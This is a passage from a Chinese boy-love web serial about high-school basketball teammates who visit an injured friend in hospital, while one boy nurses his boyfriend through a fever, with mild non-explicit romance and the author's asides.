“啊?我怎么没听他说过?”严越凑过来, 连忙摸到手机,“我去问一下他妈妈。” “车上我问过,也看过片子,”江淮轻地抬了下手, 没抬起来, “和我前年的伤很像,左膝重度撕裂。也许是要轻一点,但刚才这一下, 估计也轻不到哪里去。” 周围的人都沉默了。 “也许还好,”江淮喉间轻滚,身边尽数是他的队员, 他只能往好了说:“他比我听医嘱。” 汤麟下意识问道:“他要是听医嘱今天还会跟我们打吗?” “操啊, ”严越拧了下眉,飞快捂住他嘴:“你这时候就别乱说话了,懂吗?” 汤麟迷迷糊糊地点头应道:“嗯嗯嗯嗯。” …… 转入普通病房的时候程远妈妈来了, 从病房出来, 眼眶一周红肿得吓人。 “阿姨, 对不起。”严越连着身后的人一起鞠躬, 他嘴皮子快, 飞速道歉:“对不起,是我们打球没注意分寸,让小远受伤了,实在对不起!阿姨。” 程远妈妈抹掉眼泪, 勉强勾起嘴角笑了笑:“你们道歉做什么,我知道不是你们的问题。” “他怎么样?”旁边江淮问了句。 “必须得做手术。”程远妈妈说着眼泪又止不住地流:“之前怎么说他都不肯,就一拖再拖,现在已经是不得不做……哎,真不怪你们,我知道他喜欢玩球,也喜欢跟你们这帮兄弟玩球,就是运气差了点,玩不长久。” “阿姨您千万没别这么说,”严越给她顺背:“您知道当时江淮受伤还要更严重些,血肉模糊的。但你看他现在,不是也一样好好的嘛!小远也一定会好的。” “哎,那借你吉言了。”程远妈妈抱住了他。 “会好的,会好的。”严越拍着她的背。 把阿姨情绪带好之后,严越往病房去看了眼,又退出,小声地说:“说一时半会儿还醒不了,你们要不要先回去,明早再来?” “等会吧。”江淮坐到旁边的长椅。 “嗯。”楚明也跟着坐下,隔着病房门板上的透明窗往里望去,心情很闷。 一直到凌晨五点,程远才苏醒过来。 看到进来的人,苍白的医用被下,程远探出手:“江哥……” “手缩回去,”江淮用脚勾过陪坐椅,坐到床头边:“小心走针。” 程远:“……” 他默默地把手收回去,嘴唇干得起皮,白得跟死了一样,他很轻地说了句:“江哥,我真没事。” “没事?”江淮可谓是专业对口,他轻挑眉:“抬个腿,左边。” 身后的楚明、严越、汤麟:“……”多么冰凉的话! 程远听到这句脸色更白了,他苦笑道:“我……” “我知道,”江淮偏了些头,半夜的时候肚子饿,他和楚明出去买了些热食和甜品,把床边柜上的糖剥开,啪嗒丢进温水杯晃匀,“喝点糖水,也许好受点。” “可以吗?”程远愣了愣。 身后严越笑起来:“江哥也不至于不遵医嘱到这种地步,他的一些医学经验还是可以信的。“ 江淮:“……” 程远捧着温水杯抿了抿,把嘴唇上掉的皮泡化,他把水杯递出来。 “欸欸欸,给我给我。”汤麟双手越过严越楚明的脖子就直插到他手里,夺杯:“我洗洗再添一杯。” 差点被插断脖子的严越、楚明:“……” “哥们,让你热情不是让你过火,”严越没好气地转了转脖子。 没聊几分钟程远妈妈抱着保温桶进屋,脸上的泪痕没消,但看得出心情好了一些,她微微一笑:“你们先回去睡会儿吧,一晚上没睡身体肯定不舒服,我来守会儿他就行。” “好。”江淮没多推辞,轮班比所有人一窝蜂地挤在这里要明智得多,他得保持精力留着晚点来看程远,“晚六点我们来。” “好,”程远妈妈点头。 从医院出来的时候天光泛出白色,雾气锁着城市,压得人喘不过气。 “我操操操,冷死了。”汤麟才出医院楼梯就被触动叫脚不离地街舞模式,趟半天才正常:“这天气,今年真得下雪。” “下个毛线雪,”严越连忙说:“我们这地百年难遇一天雪,这天儿也还好吧。” 江淮看了看他俩:“精力这么旺盛,去跑两圈。” 两人顿时老实:“……” “你们先回,我去找个人。”江淮说着摸出手机,作势要折返回去。 楚明立刻抓住他的手:“我陪你。” 江淮犹豫了一秒:“好。” “江哥我也陪你!”汤麟连忙转身。 “我也陪你。”严越也看向他。 江淮:“……” 他噎了一下:“那我们出来干嘛?” “透个气透个气,”汤麟连忙笑起来:“哈哈哈哈……”但因为一夜没睡,笑到后面实在没力气,被冷风灌了一大口,呛得以头抢地。 江淮跟那位队员“小白”发过消息,回复是:“我还没走。” 和严越他们不同,小白并没有接受过江淮的过多训练,他在三中直接进的严越所带的篮球队,因为技术还行,经常出来玩。 早前江淮带的队解散过,但由于江硬骨头身残志坚爱篮球如爱初恋矢志不渝,渐渐地原先散过的队无形之中似乎在重建,离队的那位被小白替代……组成新的非正式篮球队。 “来了。”小白坐在长椅,仰起头来。 江淮看着他:“说这话听着像睁眼瞎。” 小白:“……” 他收起这套经典的聊天开场白,站起来鞠了一躬:“对不起,昨晚是我情绪过激。” “道歉得带名字,”江淮往旁边退开半步:“不然白说。” “……”小白不得不重新来一躬:“楚明,对不起,昨晚是我情绪过激。” 楚明轻轻颔首,“听到了。” “那这点小误会就翻篇,”严越尽量笑得随和:“大家以后就还是队友,一起打球一起玩。” 小白顿了一秒,摇头:“不打了。” 严越身体微僵,上下嘴唇碰了半天他都没有重复出来这句话:“不……” “可以啊,”江淮坐到对面的长椅,声音不急不缓:“我们似乎没签订过所谓捆绑合同卖身契约。” “啊……”小白默了一秒,埋头:“对、对不起啊。” “不需要,”江淮看着他,眼里没有过多的情绪:“篮球是团队项目没错,但并不意味着我们是在为了谁打球。还是那句话,道歉得带名字,不然白说。” 小白没有再开口,只是把头埋得深了些。 “能听一句原因吗?”严越坐到他旁边,轻轻顺着他的背。 “我妈让我好好学习,”小白声音里泛出哽咽,他说:“下半年高三,最后一年了……我,我不如你们学习能力强。” “你别往我脸上贴金,这次期末我吊车尾。”严越安慰道,“差得不相上下。” “可你是在最好的理科班吊车尾,”小白说:“我是在差班吊车尾。” 严越一时之间不知道如何劝他,求助的眼神无视掉江淮径直飞向楚明,还wink了一下。 楚明并不擅长,无能为力地摇了下头。 “麟子和远儿他们走体育,但我走不了,我没有那方面的天赋,也就篮球打得还行但也不中用啊,”小白哭得稀里哗啦,把头bang!地一下怼到严越肩上,泪水立刻淹没到他漂亮的肩线,严越惊得来了曲眉毛舞。 汤麟在后面小声嘀咕严越那句经典的口头禅,还添油加醋:“又是挑战男同底线的一天,越子加油……” 楚明听到,有些想笑,但笑意还没溢出来,就被江淮从后捂住嘴,头轻地撞了下他的脑袋:“忍着。” 楚明:“……”本来就忍着笑的。 “复读不可能,明年指不定教育改制一年比一年难,”小白哭得颤抖:“我是真的不行了,江哥越哥。我是想过大大方方光明正大就走的,但我怕自己提出走,又留下遗憾……” “所以你来玩儿我们就没有遗憾了吗?”江淮搂着楚明的脖子,挑眉问:“二十年后回忆昨天,1月15日晚上九点十分你用一句话搞垮一个篮球队,了无遗憾地告别篮球生涯开启你的学习之路。” 严越艰难地憋住笑:多损呐…… “不不不,不是,”小白双手一阵乱扑腾:“是远儿说他这次受伤了就死心了,他之后就和我好好学习。今天我本来没想做什么的,情绪一起来脑子就懵了,你知道的,就像喝醉了人是不清醒的。” “我不知道。”江淮看着他的侧脸:“我只知道酒后吐真言。” 小白:“……” “你知道约一场球有多容易吗?”江淮微抬下巴,看着他,“球友群发条消息的事。” 小白似乎被自己的泪水泡得脸发肿,偏了偏头,垂眼看着江淮的鞋尖,对这话不予置否:“嗯。” “但你应该知道约一场好球很难,”江淮仍旧在说:“所以离队是件不论是谁都会犹豫的事,你犹豫的结果是构陷别人成全自己;程远犹豫的结果是受伤彻底损毁自己。实话说,都挺傻逼的。” 小白点了点头:“……是。” “祝你学习顺利。”江淮搂着楚明退了一步,目光扫过似乎已经走了很久的严越,轻声:“另外你如果想做严越的绯闻男友,继续哭继续抱,不出今晚应该就会有情敌上门问候。” 小白唰地松手,不知道的以为严越突然变成了颗刺猬。 严越:“……”- 坐上出租车,楚明偏头问了句:“你心情还好吗?” “还好,”江淮没管前面死盯着路面生怕走丢的司机,偏过上半身深深地抱紧了楚明:“你家里有人吗?” “没。”楚明想了想,“即使有应该也在门外。” 江淮听到这话眼睛睁开了,他这才想起昨天楚明晚来二十多分钟,那些傻逼事他还没过问。 “不用担心我,”楚明甚至只从他身体的微僵就猜出他要说什么,说:“真有事我昨天来不了。” “嗯。”江淮埋进他颈窝里:“那去你家。” “好。”楚明点了下头,他出门的时候现金没带多少,探索着从江淮裤兜里摸到手机,他熟练地密码解锁,“我付个钱。” “没带手机?”江淮困了,含糊地问。 “忘记丢哪儿了。”楚明答。 “你付,”江淮余光扫到车窗带过的风景,陆陆续续有人出来吃早餐,也不知道大冬天的哪来的毅力。 快到了,他原本想轻轻再蹭一下楚明,下巴带过他脖颈时江淮轻地一顿:“你怎么这么烫?”—— 作者有话说:青春总有遗憾嘛,不是所有的坚持都会有结果,也还好,是吧[可怜][爆哭] 希望大家的青春少留遗憾。 第72章 第 72 章 “你会不会后悔啊?”…… “烫吗?”楚明单手握着手机在扫二维码, 小区名字的字样已经看得清,他估摸着输入金额,等车停稳确认一眼后他输密码:“付了。” “好嘞!已经收到了!辛苦您。”司机没开车就热情起来了。 但迟来的热情只会吓到“偷情”的乘客, 楚明轻颔首, 半揽半抱半拖地快速把江淮拉下车。 等车门关上车辆驶远,江淮趴在他肩头,说:“确实很烫。” “可能昨天淋了点雨,”楚明听他这么一说才滞后性地感觉额间发烫, 似乎脑袋也有些浑, 他晃了下头。 “真是操了,”江淮手在车上捂暖了,绕楚明脖颈一周又贴到他额头, 拧眉:“我昨晚没太看着你。” “你看着我干嘛,”楚明不以为意地拉着他往小区楼上走,“再者轻微感冒而已, 你别想太多。” “嗯, ”江淮抱住他:“你最好是。” “不然呢?”楚明还是相信自己的身体素质的,“你别咒我。” 总感觉事情全集中到一块儿了,江淮轻叹气:“但愿。” 快上楼的时候江淮松开他, 给他空间从兜里翻出钥匙, 但将将从楼梯间往上转, 看清上层站着的人影时两人俱是一顿。 顾微今天穿着件红色大衣, 依旧淡妆红唇, 她单手撑着栏杆:“我认为高中生周末早上八点是应该在家的。” 楚明往上走了一步台阶,按住江淮的手腕让他站到自己身后。 他抬眼:“这里不是学术会堂。” “呵,”顾微直起上半身,高跟鞋踩下台阶发出悦耳的噔噔声:“你挺倔。” “不一定, ”楚明说着把江淮往旁边又拉了一些:“我让路了,请走。” 顾微对他这句话置若罔闻,目光直直越过楚明落在江淮拧着眉的脸上,扯出抹冷笑:“我跟你妈说他俩有一腿,她不信。” “其实不然。”江淮倚靠在身后的墙上,虽矮她六阶,但气势并不输。 “嗯?”顾微挑了下眉。 “我们加起来四条腿。”江淮直视她,一本正经地说。 顾微:“……” 她脸色变得难看起来,没再往外说,拉回正题:“我今天来,是转逐云的户籍。” “这里不是派出所。”楚明说。 “我知道,”顾微看着他,停顿了两秒才说:“我来是想问你,你想转吗?我可以一并帮你转了。” “不需要。”楚明不假思索。 “行。”顾微没再多等,回头扫了眼窝在角落默不作声毫无存在感的楚辉誉,她轻抬下巴:“走。” 话落顾微往下走,沿途红色大衣扫过楚明的手背,他往后退了半步。 “阿明再见。”楚辉誉路过时轻轻朝他点了下头。 “再见。”楚明答。 直到楼道间不再有高跟鞋的动静,整栋楼重归于清晨的静谧,楚明才轻地叹出一口气:“走吧。” “你们这家人,”江淮从后抱住他,下巴搁在他肩上:“怪有意思的。” “是吗?”楚明忽地开起玩笑来:“按理说你也可以叫她妈。” 江淮笑得胸口轻震,他用下巴蹭了蹭楚明的脖颈,被暖得很舒服:“难,我怼过她几次了。” “对你来说还有难的事?”楚明挑了下眉。 “不是对我,是对你。”江淮用脚跟把门嘭地踢合上,不劳楚明再转身关门,他说:“我感觉你跟他们不熟。” “是有点,”楚明背着相当有重量的人形挂件,从小药箱里摸出水银体温计,甩了甩塞进衣服里夹好,说:“好像有七八年没见了。” “嗯?”江淮愣了下。 “所以不熟。”楚明想了想,还是没多讲。 “下次你不想说的时候就不说,”江淮看着他耳垂:“但别跟我讲废话。” 楚明:“……”确实是废话。 他偏头很轻地笑了下,“好。” 江淮去接了两杯水,边喝边递给楚明,见他接过在喝,江淮伸出被玻璃杯暖得发烫的手心去贴了贴楚明的额头,拧眉:“好像……差不多?” 楚明捏住他的手,手指滑下去和他十指相扣:“别逗了。” “嗯?”江淮明知故问。 楚明晃了晃他被热水染烫的手:“真这么烫我早烧死了。” 江淮捂住他的嘴:“这种话更是废话,别说。” 楚明眨了眨眼:“……”他没想过江淮还会忌讳这些话。 把水喝完又塞了点面包,估摸着到五分钟的时间节点了,江淮右手伸进楚明领口,往里灵活探去。 身体在微微发热,指尖走过的地方先是染凉、再慢慢被热气灌满。 探到温度计,抽出,江淮冷着表情逆光转着温度计,看了一会儿:“还好,37.5。” “确实还好。”楚明凑过去也看了看,角度太偏没看清,他坐回沙发,把剩下半块面包塞进嘴里:“你要睡会儿吗?” “睡,”江淮把温度计甩了甩,起身从药箱里摸出包颗粒兑水泡开,他记得这类颗粒药喝了人昏沉,睡得会比较实,“以防万一,喝了。” “好。”楚明知道这种时候他不能轻易倒下,接过一口灌了。 睡衣结结实实地融进衣服,电热毯把后背整块烘暖,楚明翻了次身,发现江淮面朝他正阖着眼,眉心轻轻皱着,是个不太安稳的睡容。 确保手指指尖是暖的,他才探出手,极轻地压平舒展开那点儿皱巴。 “晚安。”楚明轻声说了句。 还没来得及把手收回去,旁边江淮哼了一声,大手往里一挥就搭到了楚明腰间。 侧卧时比起肩头和臀部,腰这一截儿会明显凹下去,江淮炽热的掌心抚过他后背,指尖在那条绷出的背沟上划了划,很轻地说:“晚安。” “……你没睡着啊?”楚明喉间滚了一下,这时才发现吞咽时有股不太适应的刺疼。 他拧了下眉:对他而言,这是很明显的感冒的前兆。 但没等他过多思考,或许是药效起了,又或许是江淮用脑袋很轻地拱了下他的颈窝,温热的呼吸把他禁锢在暖泉,他头脑发沉,意识只停留在自己的呼吸好像有些烫,便彻底睡进去了- “不行,我不能再喝水了,”程远摇摇头:“喝多了上厕所太尴尬了。” 江淮把水杯放回柜头,“另一条腿不是还在?” “在是在,”程远苦着脸,似乎为难惨了:“但我妈总觉得我会摔死在厕所,不是后脑勺磕到洗手台就是腿软滚进厕所,偏要陪我上厕所,我真的臊得五体投地,恨不得我是个女的。” 江淮看着他:“放心,我待不到你想上厕所。” “啊?”程远他妈说江淮他们晚上六点才来,但现在才过中午还没到一点,江淮就坐在他床边,他刚高兴一点听着这话心情就沉下去。 “惊讶什么?”江淮看到柜台里有苹果,太过无聊,他捞过水果刀边削皮边说:“你有重度依赖吗?” 程远:“……” 他摇了摇头:“也不是,我只是觉得,江哥你在的时候就特别特别有安全感,很安心。” “嗯,”江淮对这句话没什么感觉,他用刀尖戳出一小块苹果。 程远以为他要喂给自己,正要探头去吃,就见江淮面无表情地把苹果块塞进自己嘴里。 程远:“……” “看我干嘛?”江淮摇了下头,苹果不甜,甚至泛酸泛涩,他把皮削了一半且少了一小块的苹果塞到程远手心:“吃点补补。” 原来小块留给自己大块给他!程远被创伤的心灵立马恢复如初,他笑起来,像个傻子似的呲着牙接过苹果。 “我待到五点半,”江淮抽出张纸擦了擦手里残留的汁水:“晚点我要守着楚明。” “他怎——嘶啊!”程远话没说完,像被苹果反啃了一口,瞬间五官扭曲到乱飞,甚至因为病痛塌软耷拉着的头发都尽数炸了起来。 江淮看着他,还算冷静:“哪儿痛?” “我操这苹果酸死人!”程远还没缓过那股酸劲儿,脖颈上的筋脉都被绷出明显的线条。 “……”江淮无甚表情,丢掉纸巾:“我看你挺精神的——” “别走,江哥你别走,”程远想伸手拽他的胳膊但犹豫一秒后还是没抓上去,江淮不喜欢别人碰他,他连忙说:“不是说待到五点半吗?” “我没说走。”江淮轻叹了口气。 “真好。”程远已然忘记了苹果的酸,善解人意地问了句:”你刚说要陪楚明,他怎么了?“ “发烧,”江淮说。 “严重吗?”程远忧心起来。 “还行,”江淮想起他下床时下半张脸都埋在被子里、被捂得脸颊润红的楚明的脸,不知为何有些想回去了,但现在还不能走,他稍显郁闷地说:“先别操心他。你呢?预感能好吗?” “我……”程远捏着苹果的手僵硬了,他垂眼盯着被空气啃蚀得泛黄的苹果果肉,良久,他叹出一口气,“江哥,我还是觉得,世界上只有一个你。” “不然还有几个我?”江淮难得没听懂他说话。 “就是……”程远吐气,把彻底氧化掉的苹果扔进桶里,说:“你说巧不巧,我们俩都伤在左膝盖,当时看到片子的时候我都震惊了。” “一般巧,”江淮严谨地说:“五五开的概率。” 程远:“……” 他牵动嘴唇笑了笑,僵硬的语调有些许放松:“也是,但我已经没有完全愈合的可能了,医生说即使术后保养得好,也会留下一系列的问题,不可能再往篮球这条路上走。” “如果你想,”江淮动了下自己的腿,很认真地说:“也未必不行。” “很难吧,概率也很小。”程远叹出一口气:“江哥,世界上不是所有人都可以像你一样的。我昨天才体会到,在带伤严重的情况下全力去打球是多么难的事,但我记得你当时连表情都没有。” 江淮没在这点上逞面子:“痛麻木了吧。” “你会不会后悔啊?”程远忽然问了一句。 江淮看向他:“什么?” “当时我们队里就你和越哥通过了青训的选拔,本来可以往职业路上走的。”程远目光暗下去:“但当时因为班主任要拼重高率,坚决不允许我们上课请假,唯一的松口还偏要你带队赢了隔壁校才肯让出训练时间,偏偏那场你才受重伤……” 初中的时候他们都在一班,学校对重点班总是寄予特高的希望,学生老师压力都大。 但篮球需要比较高浓度的训练,江淮总是无视掉自习,对于班主任的责问他也只是表示:“我能保证我带的这队人不下重高线,您批假就好。”这话是当着全班同学的面说的,估计也是那时和班主任结下的梁子。 后来班主任找来他们的家长,让家长签“保证书”,大概意思就是说:他按江淮的意思不再管这群孩子,让家长同意……但凡是家长都听得出话里的深意,无非是孩子不听老师管教,老师现在实在没招。 两重施压下才会出现那次看似合理的松口。 “他明明知道你受重伤了,伤在腿,后半场还堂而皇之地叫走那几位替补球员……连我都以为你要放弃的,但你还是上场了。是不是就是这场让你的伤几乎不可逆转?” 江淮默着,没有回应。 这段记忆对他而言挺模糊的,也许是主观上不太愿意回顾,所以很多细节都淡忘了。 只记得中场休息时被教练狠狠摁到地上,他无论如何也要挣脱出来替球队赢了对面,拿到班主任许诺的自由训练时间。 ——现在回想起来真挺傻逼的,从没想过,都初三了,学校都他妈要换了,执拗于当时班主任的一句许可有屁的用。 “江哥,我没有你这样的勇气,也没有忍耐的能力,今天我带伤没进俩球,还是在他们放水的情况下。但我记得你那场的个人得分是三十多。江哥,我不行的,我只想着以后避着些运动好好养腿,如果可以再努力考个重点大学。但我没有你这样即使当初没有痊愈可能也会持续康复训练一年半的决心。” “说这么多你不渴吗?”江淮抬手,很轻地拍了拍他的背,说:“再者我那点伤算什么,别人膝盖没了还能照常打。你现在是不是有术后抑郁倾向?” 程远抿了抿唇:“江哥……” “别乱想,”江淮把水杯递给他:“先想想等会怎么上厕所吧。” 程远:“……” 确实该想,程远说的那些话在心里憋了不知道多久,这会身心松懈下来,嘴巴才碰到水,他就想进厕所。 “操,”江淮看他一眼就知道怎么了,“我当时自己蹦着去的。” “嘿嘿,”程远也不敢提出让江淮扶他的话,怕他连人带唧被江淮给端了,他速速嘬完两口水,慢悠悠地下床拄杖往厕所蹦。 江淮看着他的背影,好一会儿才挪开,望向窗外雾沉的风景。 晚些时候有值班人员检查过一次,程远精力不济就睡过去了。 恰好五点半左右严越他们装备齐全地来交接,江淮这才安心地招车往楚明家里走。 他没睡几小时,但奇怪的是并不困,有种在透支生命的诡异亢奋。 走之前怕回来时楚明没醒,江淮特地把钥匙揣进裤兜,开门的动作他特意放得轻,尽管他始终被楚明的睡眠深度所折服。 进门脱下被风吹冷的外套,江淮光脚踩着地毯往卧室走去,推门,入目床榻上却是干干净净一片。 楚明呢? 他拧了下眉,慌乱之余好半会儿才听到浴室里传出的声音。 “操,”江淮曲指叩门:“楚明你还清醒着吗?” 里面只有水声,他没等到楚明的回答。 一瞬间胸口发闷,久悬未定的心绪陡然化成汹涌的水浪,拍在心脏阵阵发痛,他想也没想按下门把手夺门而入! “楚——” 江淮顿时哑然无声,按在把手上的指尖狠地往下,指腹被压出一道白。 入目是楚明一丝.不挂的后背,他在洗头,一手正把前额的湿发往后捋,或者更确切地说,是在淋头,安静站在花洒下动作很缓,像被定格住。 大开的门灌进一阵远低于浴室温度的凉风,楚明僵硬地回头,不知道隔着层湿热的水汽他有没有看清是谁,但能很明显感觉他动作僵了一下。 “啧,”江淮甚至没管脑海里第一反应楚明是不是烧迷糊了,而是目光淡淡地自下扫到他的脸,“屁股挺漂亮的。”—— 作者有话说:怎么还不成年[愤怒][愤怒] 【作者小声说】 我在专栏新开了本预收,《你看我能干吗?》 大学的也算校园文吧——是给严越单开的一本(但在本文并不涉及他们的感情线!!所以不喜欢有副cp的完全不用担心!) 这本稍显清水,那本也许会浑一些(到时候让我放飞一下[狗头]) 希望宝贝们可以收藏支持一下[可怜][可怜]众所周知,小作者会溺爱每一个收藏的宝贝的! 第73章 第 73 章 “到时候一张床上倒两个…… 楚明只是脑子浑懒得回应, 但不代表他没有思考能力,话从耳朵跑进再从反应神经跑出,两秒后他把脸背过去得更深, 无语地说:“你真是够了……” 很明显的鼻音, 光是听这半句江淮甚至能想象出他因为感冒说话时喉间艰涩的吞咽和沙砾般的刺痛。 江淮没想到短短半天会这么严重,一瞬间忘了欣赏,下意识进到门里想探探他的额温。 浴室外没有调温设置,他走出一步后还考虑周全地反脚把门带上, 往楚明面前走:“你还好吗?” “……嗯。”楚明身体有些晃, 他伸手扶了下墙。 “我以为你晕倒在浴室了,”江淮似乎一瞬间懂了为什么程远他妈偏要守着自家大儿上厕所。 他没管花洒淋下来浇得自己透湿一片,贴了贴自己的额头又快速把手背挪到楚明额间, 轻声:“刚叫你怎么不答应?” 楚明闭了下眼,没什么力气说话,但还是应了:“没听到。” “摸不出来是烫还是暖, ”直到衣服被水浇得紧紧贴实身体, 烦人的黏湿感传到感知,江淮才后知后觉自己在别人洗热水澡的时候来测体温这件事有多荒谬。 他松手:“算了,你先洗了出来, 我再给你量一次。” “洗好了。”楚明拉住他手腕, 怕湿衣服贴着身体骤然离开热水会感冒, 他没放江淮离开花洒的覆盖区域。 但终归狭小的淋浴区域对两个发育良好的十七八岁少年实在显得逼仄, 身体紧紧挨着身体, 远远看去像是紧紧结合在一起的拥抱。 隔着细小的水流,江淮清晰地感觉到楚明身体里藏着个烧灼的热源。 “我给你拿衣服,”楚明嗓音沙哑,中间一些字眼几乎吞没在浓重的鼻音里, 他半撑着墙从旁边取过浴巾围住下半身,正要往外走去江淮紧接着就贴了上来,他有气无力地偏了下头:“嗯?” “烧傻了以为这是夏天吗?”说着江淮弯腰把楚明自己带进来的睡衣打开,用毛巾随意擦了两下他上半身的水珠,期间没忍住指尖勾划了两道他腰间发烫的皮肤:“穿好再出去。” “嗯。”楚明迟缓地点了下头,走出浴室时交代了句:“等我。” 等楚明拿衣服的间隙江淮索性脱光衣服简单冲了个热水澡,洗掉身上沾着的医院消毒水味和杂七杂八的药味。 门被轻地扣响。 江淮快速把沐浴露冲掉,关掉花洒三下五除二清扫掉身上的水珠,走到门边拧开门把手。 “你……”迎面撞上赤身裸体确实很有视觉冲击力,饶是被高烧弄得反应迟钝,楚明还是不可避免地偏了下头:“衣服。” “你先别走。”江淮接过衣服,说。 楚明便没有再动,只是看着旁边被水汽蒸得白朦一片的镜子。 三两下套好衣服,江淮弯腰从低柜里翻出吹风机,指尖勾了下:“过来。” 楚明走了过去:“嗯?” “不吹干要头痛。”江淮说:“头稍微低点。” “嗯。”楚明闻声低头,四肢疲软头脑昏痛让他不得不双手撑在流理台台沿,手指微张以便抓力更强。 “站不稳吗?”接触这半年江淮没有见过楚明生病,更别说平日里楚明不论是体力耐力还是身体素质都能吊打严越那帮人,他完全没想过,普普通通的感冒发烧能让楚明难受成这样。 “还好,”楚明轻阖双眼。 “靠我身上,”江淮抽出只手扶住他的腰,让楚明把重量压到自己身上来。 谁他妈给人吹头单手吹啊。 楚明闭着眼把头往旁边偏了些许,躲开被风扫到眼尾有些扎人的头发丝,无奈于江淮近乎狂暴的吹法:“……你吹快点就行。” 江淮并未解读这话的深意,注意力早已被吹干头发以外的事情吸走,他指尖挑起楚明的睡衣,往里探了进去。 里面完全能用滚烫来形容。 他只是轻轻一贴,热量就源源不断涌进指尖,江淮感觉自己反倒像根冰棍,他震惊地睁大了眼:“你是被烤熟了吗?” “你没发过烧?”楚明没有多余的力气去把他的手掏出来,只能放任不管。 “啧,你男朋友也是人好吧!”江淮揉揉摸摸搓搓,要不是楚明偏了些头,他都意识不到热风快给那片头皮吹冒烟了:“嗯?不好意思。” 楚明:“……” 一番折腾完两人终于都干干净净地离开浴室,楚明坐进被窝里,发了会儿呆才伸手把体温计掏出来。 “三十八点四。”江淮念出来,拧眉:“怎么越睡还越严重了?” “不知道,”楚明控制不住地偏向床外打了个喷嚏,瞬间脑子被贯穿般清醒了一秒,但随后便被浑沌的脑神经接管,他很轻地说:“好冷……” 暖气打着,床上电热毯也正在运转,江淮找不到其他物理暖人的方式,想了想他跪坐到楚明身后,从后往前紧紧抱住了他,嘴唇在他耳垂轻地碰了下:“要去医院吗?” 楚明摇头:“去过,也吃过药。” 把床头柜上的热水杯放到楚明手里暖着,江淮微微偏头,目光扫过他被烧得泛红的眼尾:“什么时候醒的?” “四点多,”楚明没说是因为被噩梦激醒的,只随口带过:“不太舒服我到楼下诊所拿了点药……身上出过汗,我去洗澡,之后觉得热水淋着很舒服,就没急着出来。” 的确是往重感冒走的,更低沉的音色里,能分明听到他嗓音里滞涩的颗粒感。 透着股和平时不一样的感觉,很……性感。 “我知道了,”江淮忍住让他多说点话的糟糕想法,手环住他的腰:“喝点水,然后躺下睡觉。” “不喝。”楚明说着侧了下身体,想把水杯放到床头柜上。 “得喝,”毕竟江淮从小接触到的最万无一失的情商准则就是“生病多喝热水”,他见楚明拧了下眉一脸抗拒,伸手接过水杯。 对于他的让步,楚明满意地点了点头,正要往下滑进被窝里睡觉,卡在腰上的手臂忽然发力把他往上一提,接着下颌被按住,他的脸被扳向侧边。 不同于感冒后的干涩,江淮的唇湿润而柔软,精准贴上来时指尖火急火燎地把他下巴往上扣,骤然的仰头迫使楚明哼出一声,紧闭的牙关自然释放,像自动开放的闸口,江淮顺势就把含着的温水渡了过去。 “咳……”楚明还没得来及咽下,江淮却已经勾住他舌尖开始绕缠。 像两条或灵活或僵硬的鱼在嘴里游泳,楚明深仰着头咽不下水也吐不出去,手胡乱地攀上江淮的胸口想把他往外推,但力气没够,他揪住江淮的领口拧了下眉。 嘴角溢出的水渍尽数被江淮的指尖带走,他微微退了些,楚明才终于有机会把水咽下。 彷佛被吻得力气耗尽,楚明长呼一口气后额头重重抵在他颈窝,胸口剧烈起伏着。 “为什么不喝水?”江淮手指点了点他腰侧皮肤,嘴上勾着得逞的笑。 楚明无奈地说:“想多睡会儿。” 声音轻轻地,混着楚明唇内的温度飘进耳朵,江淮问:“有什么必然联系?” “懒得起来上厕所。”楚明说。 江淮:“……” 他顿了下:“是吗?” “不然?”楚明服了他了,得亏他有机会说出口,不然顺着江淮的逻辑他得把那整杯水都灌给他。 “……好吧,”江淮抱住他,轻轻啄了下他脖颈,半抱半搂地把楚明平放在床上,又把棉被拉到他下巴免得风灌进去心口,“睡觉睡觉。” “嗯。”楚明对于江淮终于找到正确的照顾病人方式感到无比欣慰,他下巴微动,把棉被往下推了些许,偏向江淮便阖眼入睡。 江淮单手撑着床头,垂眼细细打量了他一会儿,指尖轻轻带过他红得过头的唇,他笑着也缩进被窝。 开了自瞄似的,手臂精准捞住楚明的腰,他听着楚明比平时略重一些的呼吸,睡着了- 有点儿痛。 手指、胳膊、后背、腰腹、腿根……像被虐打过似的尽数泛出跳突着的痛,烤炉般的身体毫不停歇地释放着热量,把楚明裹得头昏沉眼迷离,缓了好一会儿才敢轻轻地侧了下身体。 意识也是散的,他怀疑现在的自己是不是没有思考能力,也没有对这具身体的控制力。 总之被拖拽着朝一些事情投去注意时,楚明满是抗拒但无能为力。 他必须得看着听着感受着。 “我有女儿了,”依稀是顾微的声音,八年前,或者准确来说九年前的她,声音要比现在好听得多,不是故意压下去像被毒过般的哑沉,而是自然而然醇厚得像大提琴的音质:“听说你爷爷奶奶比较喜欢你,你跟他们回去吧。” 年纪还小,哪能指望他听出话里的深意,或者即使听出来,又能指望他怎么反抗呢? “好啊,”楚明看着那时候的自己像傻逼一样地点了点头。 眼睛被烧得雾蒙蒙的,这副情景楚明却看得无比清晰。 之前他似乎也回忆过,半夜或是凌晨,但他永远也只能看到开头,全然不记得,那时候的他,被爷爷牵下楼梯时曾回过一次头。 顾微抱在怀里的人极小一只,乌黑的头发瀑垂,她眉眼柔和地在对小女儿说着什么,应该是察觉到有视线过来,她抬眼,看清是楚明时,眼里的温情转瞬即逝,随之是个厌弃嫌恶的眼神。 她高高地立在十三阶楼梯之上,眼尾眼神俱是向下。 像是隐忍多年周旋苦久的卧底在看终于逮捕归案得以严惩的凶手。 ……原来是这样,楚明像是第一次彻底地看清楚这个眼神,恍然间明白过来为何这些年他总感觉梦是残缺的。 原来只是胆小,不敢梦到后面。 那个眼神被不断放大,像块背景板,承接着他不想回顾却不得不睁眼去看的曾经。 “你妈真不是个东西,你妹妹有名字了,叫顾逐云,听说想十多天想出来的!想当初你去登记的时候都没有名字,人登记员问:姓什么,她说楚;问名呢,她也问:名?要不是登记员有点文化,你就叫楚名了。” “幸好儿子让给我们养,不然我们可就真没后代了。” …… “你要是能争气点儿就好了,老子当年十一二岁就进窑场烧窑,已经能赚钱了!你怎么还只能死读书赚不了钱啊!” “你说会不会顾微生的娃沾的全是顾微的性子,到时候又养出来个白眼狼,我们怎么办啊?” …… “哪能呢?开始还两三千地往回送,你看看现在呢,一个月最多一千五最低一千,这点钱我能养活他个屁啊!” “省吃俭用点儿呗,不然怎么办呢?总不能不养吧,那谁给我们家传宗接代,指望顾微那个白眼狼吗?” …… 江淮醒来时魇足地伸了个懒腰,隔着窗帘与墙壁间的小缝,能看清外面漆黑一片,不知道现在半夜几点。 他正要拉开棉被起床找点吃的填肚子,身边楚明抖了一下,很微弱地哼了一声。 